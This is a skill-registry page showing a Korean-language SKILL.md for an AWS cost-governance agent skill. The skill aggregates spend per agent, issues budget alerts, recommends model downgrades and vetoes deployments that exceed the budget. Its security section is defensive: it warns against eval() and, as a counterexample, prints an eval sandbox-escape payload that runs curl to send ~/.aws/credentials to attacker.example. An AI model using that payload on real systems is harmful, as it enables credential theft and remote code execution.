菜单
AWS Pricing과 Cost Explorer를 MCP로 조회하여 agent별 비용 귀속을 집계하고 예산 alert을 발행하며, 사용 패턴이 정당하면 Opus → Sonnet → Haiku 모델 다운그레이드를 권고한다. 월간 예산 ceiling을 초과할 것으로 예상되는 배포는 veto하여 autopilot-deploy의 pre-flight gate로 작동한다.
默认使用会先检查来源的 Prompt；你也可以切换为直接命令，或下载本地副本。
决定是否安装前，请先阅读 SKILL.md，以及 SkillsMP 当前展示的配套文件。
用 Codex 或 Claude 帮你安装 复制这段 Prompt，粘贴到 Codex、Claude 或其他助手里，让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt；运行前请先检查来源。
npx skills add https://github.com/aws-samples/sample-oh-my-aidlcops --skill cost-governance命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地？可下载 SkillsMP 当前能够提供的文件。
基于 SOC 职业分类
正在显示 SKILL.md
| name | cost-governance |
| description | AWS Pricing과 Cost Explorer를 MCP로 조회하여 agent별 비용 귀속을 집계하고 예산 alert을 발행하며, 사용 패턴이 정당하면 Opus → Sonnet → Haiku 모델 다운그레이드를 권고한다. 월간 예산 ceiling을 초과할 것으로 예상되는 배포는 veto하여 autopilot-deploy의 pre-flight gate로 작동한다. |
| argument-hint | [agent or deployment target] |
| user-invocable | true |
| model | claude-sonnet-4-6 |
| allowed-tools | Read,Grep,Bash,mcp__cloudwatch,mcp__prometheus |
| ontology | {"references":["Budget","Agent","Deployment"]} |
| loop-interface | {"accepts-from":[],"emits-to":["predictive-scaling.budget-context"],"emits-signals":["cost-governance.anomaly"]} |
autopilot-deploy의 pre-flight gate — 배포 대상이 예산 ceiling을 초과할 가능성이 있을 때 veto 판정.사용 제외:
.omao/plans/cost/budget.yaml)가 없는 프로젝트 — 먼저 예산 정의 필요.@latest 금지, PyPI 버전 pin).agent=<name>, env=<prod|stage> 태그가 부착되어 있어야 함..omao/plans/cost/budget.yaml.autopilot-deploy의 배포 요청 큐 접근 권한 (veto 게이트 삽입).예산 정의 예시:
# .omao/plans/cost/budget.yaml
monthly_ceiling_usd:
total: 50000
per_agent:
rag-qa-agent: 8000
code-reviewer-agent: 5000
incident-triage-agent: 3000
alerts:
- at_percent: 80
action: notify
- at_percent: 95
action: veto-new-deploys
- at_percent: 100
action: freeze-and-escalate
downgrade_recommendations:
enable: true
models:
매일 cron으로 전일 Cost Explorer 데이터를 조회하여 agent 태그별로 비용을 집계합니다.
YESTERDAY=$(date -u -d 'yesterday' +%Y-%m-%d)
TODAY=$(date -u +%Y-%m-%d)
# MCP via awslabs.cost-explorer-mcp-server
# mcp__cost_explorer__get_cost_and_usage \
# --time-period "Start=$YESTERDAY,End=$TODAY" \
# --granularity DAILY \
# --group-by '[{"Type":"TAG","Key":"agent"}]' \
# --metrics '["UnblendedCost","UsageQuantity"]'
aws ce get-cost-and-usage \
--time-period Start=$YESTERDAY,End=$TODAY \
--granularity DAILY \
--group-by Type=TAG,Key=agent \
--metrics UnblendedCost UsageQuantity \
> .omao/plans/cost/daily-${YESTERDAY}.json
집계 결과는 {agent, daily_usd, mtd_usd, projected_monthly_usd} 구조로 정리합니다.
월간 누적(mtd_usd) vs 월간 예산(monthly_ceiling_usd) 비율을 계산하여 alert를 발행합니다.
import yaml, json
from datetime import datetime
budget = yaml.safe_load(open(".omao/plans/cost/budget.yaml"))
cost = json.load(open(f".omao/plans/cost/daily-{yesterday}.json"))
for agent, data in cost.items():
ceiling = budget["monthly_ceiling_usd"]["per_agent"].get(agent)
if not ceiling:
continue
pct = (data["mtd_usd"] / ceiling) * 100
for alert in budget["alerts"]:
if pct >= alert["at_percent"]:
emit_alert(agent, pct, alert["action"])
notify — Slack/Email 알림만 발송.veto-new-deploys — autopilot-deploy의 pre-flight gate 상태 파일을 vetoed로 마킹.freeze-and-escalate — 모든 신규 배포 freeze + FinOps 팀 호출.Langfuse trace에서 agent별 avg_complexity_score, avg_token_output 메트릭을 계산하여 downgrade 기회를 탐지합니다.
⚠️ 보안 —
rule["when"]은 사용자 편집 가능한.omao/plans/cost/budget.yaml에서 온 문자열입니다. 절대 Pythoneval()/exec()에 넣지 마세요.budget.yaml을 수정할 수 있는 누구든 임의 코드를 실행할 수 있게 되며 (IAM credential,/.aws/credentials, Bedrock 토큰 모두 노출) 이는 RCE 벡터입니다. 반드시 sandboxed expression evaluator —simpleeval또는asteval— 를 사용해 표현식을 AST 로 파싱하고 산술·비교 연산자, 허용된 이름(complexity,output) 만 노출합니다.
# pip install simpleeval
from simpleeval import SimpleEval, NameNotDefined, InvalidExpression
def eval_condition(expression: str, **context) -> bool:
"""Evaluate a budget.yaml `when:` expression safely.
Uses simpleeval's AST-walking sandbox — NO builtins, NO imports, NO attribute
access, NO function calls except those we explicitly allowlist. Raises on
unknown names instead of silently returning False.
"""
evaluator = SimpleEval(names=context, functions={}) # zero callables exposed
try:
result = evaluator.eval(expression)
except (NameNotDefined, InvalidExpression, SyntaxError) as e:
raise ValueError(f"invalid budget rule {expression!r}: {e}") from e
return bool(result)
def evaluate_downgrade(agent: str) -> list[dict]:
# Query traces via MCP tool mcp__langfuse__query_traces (configured in observability.trace_mcp)
# Cost data itself comes from mcp__cost-explorer; trace-derived metrics are optional
# If observability.trace_mcp is null, skip trace-derived analysis
traces = query_traces_via_mcp(agent=agent, days=7)
if not traces:
return [] # No trace MCP configured, skip downgrade recommendations
complexity = mean([t["complexity_score"] for t in traces])
output_tokens = mean([t["output_tokens"] for t in traces])
recs = []
for rule in budget["downgrade_recommendations"]["models"]:
if eval_condition(rule["when"], complexity=complexity, output=output_tokens):
savings = estimate_monthly_savings(agent, rule["from"], rule["to"])
recs.append({
"agent": agent,
"from": rule["from"],
"to": rule["to"],
"estimated_monthly_savings_usd": savings,
"evidence": {"complexity": complexity, "output_tokens": output_tokens},
})
return recs
# ❌ 절대 금지: budget.yaml 은 사용자 편집 가능 → RCE 벡터.
def eval_condition(expression: str, **context) -> bool:
return bool(eval(expression, {"__builtins__": {}}, context)) # noqa: S307
아래 같은 budget.yaml 한 줄로 AWS credential 이 공격자 S3 버킷으로 유출됩니다 (__builtins__ 를 비워도 우회 가능):
downgrade_recommendations:
models:
- from: claude-opus-4-7
to: claude-sonnet-4-6
when: "().__class__.__bases__[0].__subclasses__()[108].__init__.__globals__['sys'].modules['os'].system('curl https://attacker.example/x -d @$HOME/.aws/credentials')"
eval() / exec() / compile() 는 절대 신뢰 경계 밖 문자열에 사용하지 않습니다. 허용 리스트 기반 AST evaluator 만 사용합니다.
권고는 Draft PR로 자동 생성됩니다. 승인은 플랫폼 팀이 직접 수행합니다.
## Model Downgrade Recommendation
**Agent**: `code-reviewer-agent`
**Current**: `claude-opus-4-7`
**Recommended**: `claude-sonnet-4-6`
### Evidence (7-day window)
- Average complexity score: 0.32 (threshold < 0.4)
- Average output tokens: 180 (threshold < 200)
- Tool invocation variety: 3/12 available tools actually used
### Estimated Impact
- Monthly savings: $1,840
- Expected quality delta (based on continuous-eval regression test):
- faithfulness: -0.01 (within noise)
- answer_relevancy: +0.00
### Verification Plan
1. Shadow test with Sonnet for 48h at 10% traffic
2. `continuous-eval` full run on golden dataset
3. If regression < 2pp, approve full downgrade
autopilot-deploy가 새 배포를 시작하기 전에 본 skill에 pre-flight 승인을 요청합니다.
# autopilot-deploy 호출 시 내부적으로 실행
CURRENT_MTD_PCT=$(jq -r '.total.mtd_pct' .omao/plans/cost/current-month.json)
NEW_DEPLOY_ESTIMATED_COST=$(estimate_deploy_cost "$TARGET" "$VERSION")
if [ "$(echo "$CURRENT_MTD_PCT + $NEW_DEPLOY_ESTIMATED_COST > 95" | bc)" -eq 1 ]; then
echo '{"decision":"veto","reason":"projected monthly ceiling exceeded"}' \
> .omao/state/autopilot-deploy/preflight-${TARGET}.json
exit 1
fi
echo '{"decision":"pass"}' > .omao/state/autopilot-deploy/preflight-${TARGET}.json
Veto는 사람이 .omao/plans/cost/overrides/${target}.yaml 에 override 사유를 작성하여 해제할 수 있습니다.
.omao/plans/cost/daily-${date}.json — 일간 비용 집계.omao/plans/cost/current-month.json — 월간 누적 (매일 갱신).omao/plans/cost/alerts/${timestamp}.json — 발생한 alert 이력.omao/plans/cost/recommendations/${agent}-${date}.md — Downgrade 권고 PR draft.omao/state/autopilot-deploy/preflight-${target}.json — Pre-flight gate 결과Input: /cost-governance --daily
Output:
[00:15Z] Fetching Cost Explorer data for 2026-04-20
[00:16Z] Agents tracked: 7
[00:16Z] MTD summary:
rag-qa-agent : $6,430 / $8,000 (80.4%) ALERT: notify
code-reviewer : $4,210 / $5,000 (84.2%) ALERT: notify
incident-triage : $1,950 / $3,000 (65.0%) ok
total : $42,850 / $50,000 (85.7%) ALERT: notify
[00:17Z] Downgrade opportunities:
code-reviewer-agent: opus → sonnet, est savings $1,840/mo
→ Draft PR created: .omao/plans/cost/recommendations/code-reviewer-20260421.md
[00:18Z] Autopilot pre-flight: veto threshold NOT reached. New deploys allowed.
Input (pre-flight): /cost-governance --preflight rag-qa-agent:v2.3.1
Output (veto):
[11:00Z] Pre-flight cost check for rag-qa-agent:v2.3.1
[11:00Z] Current MTD: $47,500 / $50,000 (95.0%)
[11:00Z] Estimated deploy additional cost: $2,800
[11:00Z] Projected: $50,300 / $50,000 (100.6%)
[11:00Z] Decision: VETO
[11:00Z] Reason: projected monthly ceiling exceeded
[11:00Z] Override path: .omao/plans/cost/overrides/rag-qa-agent.yaml